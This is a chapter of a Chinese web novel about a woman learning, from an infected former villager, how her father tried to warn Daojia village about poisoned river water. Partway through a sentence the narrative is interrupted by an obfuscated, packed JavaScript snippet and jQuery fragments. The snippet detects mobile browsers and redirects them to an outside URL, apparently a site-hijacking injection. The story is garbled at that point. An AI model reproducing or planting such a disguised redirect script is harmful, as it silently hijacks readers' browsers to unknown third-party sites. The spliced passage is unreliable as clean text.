陈结愿大脑彻底炸开。
同为感染者?逃出稻家村?
原来村民们说的出逃的原料就是他!
陈结愿目光犀利起来,摆出即将攻击的架势。
那人见陈结愿戒备成这样,后退几步,将双手举过头顶,讪笑道:“你难道不想知道稻家村的真相吗?”
陈结愿一愣,“你知道多少?”
他保持着双手举起头顶的姿势向前几步,陈结愿这次没有再打算攻击他,只是戒备地盯着他。
那人松了一口气,听声音大概四五十岁的样子,说话的时候脸上的鱼鳞挤在一起,看得陈结愿直犯恶心。
“我知道全部,因为我曾经就是稻家村的村民。”语罢,他看向陈结愿,“你长得很让我眼熟。”
陈结愿不想和他客套,冷冷瞥了他一眼。
结果他又说:“你是不是有个叫陈生的亲戚。”
陈结愿脸色陡然一变,上前几步抓上那人的脖颈,“你认识我父亲?”
那人听到“父亲”二字,怔愣地盯着陈结愿,眨了眨眼。
他喃喃道:“他还有个女儿啊,真好……”
陈结愿皱眉,大脑已经乱作一团,这个人居然认识她的父亲!
难不成父亲曾经也来过稻家村?
不知道出于什么目的,等等拉住了陈结愿的袖子,张了张嘴似乎要说些什么,但陈结愿还想发问,一时没来得及理会他。
然而那个人却没给她机会,自顾自地扒开陈结愿的手,“别激动,我和他也不算熟,只是被他救过一次。”
“听听我的故事吧,应该会让你搞清楚一些状况。”
这人名叫徐志,如果陈结愿的父亲还活着,也比他大不了多少岁。
徐志说他生在稻家村,长在稻家村,在他年轻的时候污染还没有大范围扩散,这个世界还没有变成现在这样一片狼藉的样子,稻家村虽然生活不算富足,但人们自给自足也能做到怡然自乐。
稻家村因为地势刁钻和经济水平落后,很少有外乡人会来,所以当陈生来到稻家村的时候,他们村子的所有人都很激动,摆出来各种瓜果野味招待他。
徐志为他端来一盘小西红柿,十几岁的男孩根本压不住情绪,看向陈生的眼神都是亮晶晶的,他也不绕弯子,直接就问:“陈生哥,你是从哪来的?你来我们村儿干啥?外面好玩吗,是不是到处都是高楼大厦!”
他一边说,一边观察陈生的样子。
男人看起来刚刚二十岁出头,眉眼英气,戴着一副黑框眼镜,身上穿着并不讲究,只是简单的白T,却不显得随意,和简陋的小屋子格格不入。
陈生抬眼看向徐志,深邃的眉眼扫过徐志全身,徐志莫名有些害怕,咽了口唾沫,但因为实在好奇还是没有躲开。
陈生将目光移开,拿起一个小西红柿放在嘴里,眼睛弯了弯,刚才的侵略性荡然无存,“好吃。”
徐志瞬间就来劲了,直接抓住他的胳膊:“吃了我家小番茄就要回答我的问题!”
陈生轻笑几声,揽过他的肩,“我啊,其实是来拯救世界的。”
徐志眨眨眼,这人怎么这样啊,看着挺正经的,实际说起话来就把他当傻子了。
他的表情一下子就皱巴了,没好气地要收回那盘小西红柿。
陈生拦住他的手,“我没骗你,真的。外面确实有很多高楼,但很可惜,现在那里并不安全。”
“等事情解决之后我倒是可以带你出去玩玩。”
徐志的注意点完全都在他后一句上了,根本没在意前一句,直接激动地从椅子上蹦了起来。
“你说真的!你可不许骗我!”
陈生哑然失笑,摇了摇头,没有再陪着他胡闹。
那之后徐志才从大人的嘴里得知,陈生是从外面的什么研究所里来的,农村人普遍知识水平都不高,就算陈生给他们认真解释自己的工作他们也听不懂,七一嘴八一嘴地添油加醋,最后传到徐志的耳朵里就变成了陈生是外面来的大学生,外面好像有什么水脏了,陈生是来研究怎么把水变干净的。
徐志更不解了,他好歹接受过义务教育,这不就是那什么净化水资源。
跟拯救世界有什么关系?
他又去趴到陈生的窗边,陈生见他来了,放下手里的笔打开窗户。
徐志一个翻身翻了进去。
“怎么?”
“你骗我,什么拯救世界啊,不就净化水资源吗。”
陈生听完笑了,拍拍他的头,“你倒是上过学。”
徐志自豪地锤上胸脯,“那当然,我娘都说我是村子里最聪明的!”语罢,他意识到话题差点被扯开,继续追问,“所以这和拯救世界有啥关系,哪有这么严重。”
陈生眼神暗了暗,自言自语道:“但愿没那么严重。”
自那以后,他就很少有机会和陈生交流了。
他成天把自己关在屋子里,偶尔出去一趟也是到河边挑几桶水就又回去了,村民们除了给他送饭来几乎见不到他的人。
直到某一天,陈生突然火急火燎地跑出屋子,徐志怔愣地看着他冲劲了村里的广播室。
没过一会儿,大喇叭里传来陈生急促的声音。
“前天之后去河里打了水的村民,现在立刻、马上,放下你手里的水!水已经不干净了,赶快倒掉!”
“不要抱有侥幸心理,一定要相信我的话,这水真的不能喝!”
村子里的大喇叭质量不好,又是老物件,哪里承受得住陈生这样对着喊,手指抓墙面般的噪音把陈生的声音包裹住,刺耳声阵阵,好多村民都捂上了耳朵。
徐志听着,心跳莫名加快,浑身上下都感到一股冷意,他看向母亲手里的水杯,“妈,要不还是别喝了?”
母亲斜了他一眼,“哪来那么多讲究,城里人娇气,喝点脏水都不行。你娘我可硬朗得很,喝两口水还能把我喝死吗?”
徐志找不到理由反驳,确实,人总不能不喝水吧。
他和陈生也说不上熟,远远不到无条件信任他的程度,因此也没太当回事,“这也太吵了,我去让陈生哥别再喊了。”
母亲一把将他拦下,“我看这人精神有点不正常,别管他了,你以后少跟他交流。
徐志犹豫片刻,最后还是被母亲拽着离开了。
离开之前,他看向身后的广播室,陈生站在窗沿前,怅然地与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181271|180983||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
徐志对视。
徐志莫名心虚,很快移开了视线。
并没有多少人把陈生说的话当回事,大家依旧该吃吃该喝喝,徐志想了想,还是放心不下陈生,悄悄溜到他那里,透过窗户看他。
陈生看起来很疲惫,手里点着一支烟,也不抽,就单纯地让它燃着,眼神空落落的,不知道在想些什么。
一根烟快要燃尽,火星燎到陈生的手,他才回过神来,将烟踩灭,深吸一口气,转身从床底搬出一个行李箱。
徐志震惊,陈生哥这是要走了吗?
他一个没站稳,脑袋直直磕在窗户上,发出了不小的动静。
陈生猛地回头,将徐志整得一愣。
陈生是笑着的,笑得很好看,和他看着徐志笑的时候给人的感觉完全不一样。
他眉眼弯弯,周身的气场都变得柔和起来,脸上的疲惫一扫而空,嘴角高高扬起,却在看到徐志的时候陡然熄了火。
徐志撇嘴,捂上生疼的额头,“怎么这样啊!不想见到我是吗?!”
陈生眉眼不变,嘴角却是放下了一些,神情似乎有些失望。
“没,你怎么到这来了。”
“我、我来关心关心你还不行吗,你今天受什么刺激了,怎么突然大喊大叫的。”
陈生苦笑,“你也不信我。”
他目光扫过徐志的嘴唇,“小嘴挺润的,喝了不少水吧。”
徐志涨红了脸,支支吾吾半天一句话也没说出来。
好在陈生并不打算追问,自顾自地继续说下去,“梁毅说的没错,确实是人各有命,一群犟种。”他顿了顿,又补充了一句,“虽然我没资格说别人犟。”
“陈生哥,你拿行李箱干啥?你要走了?”徐志状似不经意的转移话题。
陈生深深看了他一眼,将目光转向自己的脖颈处。
陈生今天穿了一件低领的上衣,徐志顺着他的视线看去,才发现他戴了一条项链。
他平常穿的衣服领子都很高,徐志觉得新奇,不由得观察得仔细了一些。
项链很素,没有什么配饰,就是一条普普通通的银链,下面挂了个吊坠,徐志看向吊坠,眸光骤然一亮。
那吊坠有着非常漂亮的蓝色,但又不单纯是蓝,在光线下竟是能看出彩虹一样的绚丽色彩,形状像是鱼的鳞片,只是比普通的鳞片稍微大了点,一般的鳞片也没有这么好看。
徐志看愣了,“这坠子好漂亮啊,你是从哪里……”他情不自禁地想要上手去摸,手还没碰到吊坠,只听“啪”的一声,陈生竟是直接把他的手拍开了。
“别碰!”
徐志吃痛地收回手,哭诉道:“不给看就不给看嘛,你打人干什么!”
他抬头一看,陈生死死攥住吊坠,眼眶里眼球无所适从地乱转。
至于那么紧张吗?
徐志还没来得及发问,陈生就飞快地转过头去,不再看他。
陈生再开口,声音格外沙哑,语调冰冷:“我明天就会离开,你们好自为之。”
再然后,不论徐志怎么发问,陈生都没有再回应过他一句话。
徐志注意到他指节有些颤抖,按在吊坠上,隐隐泛白。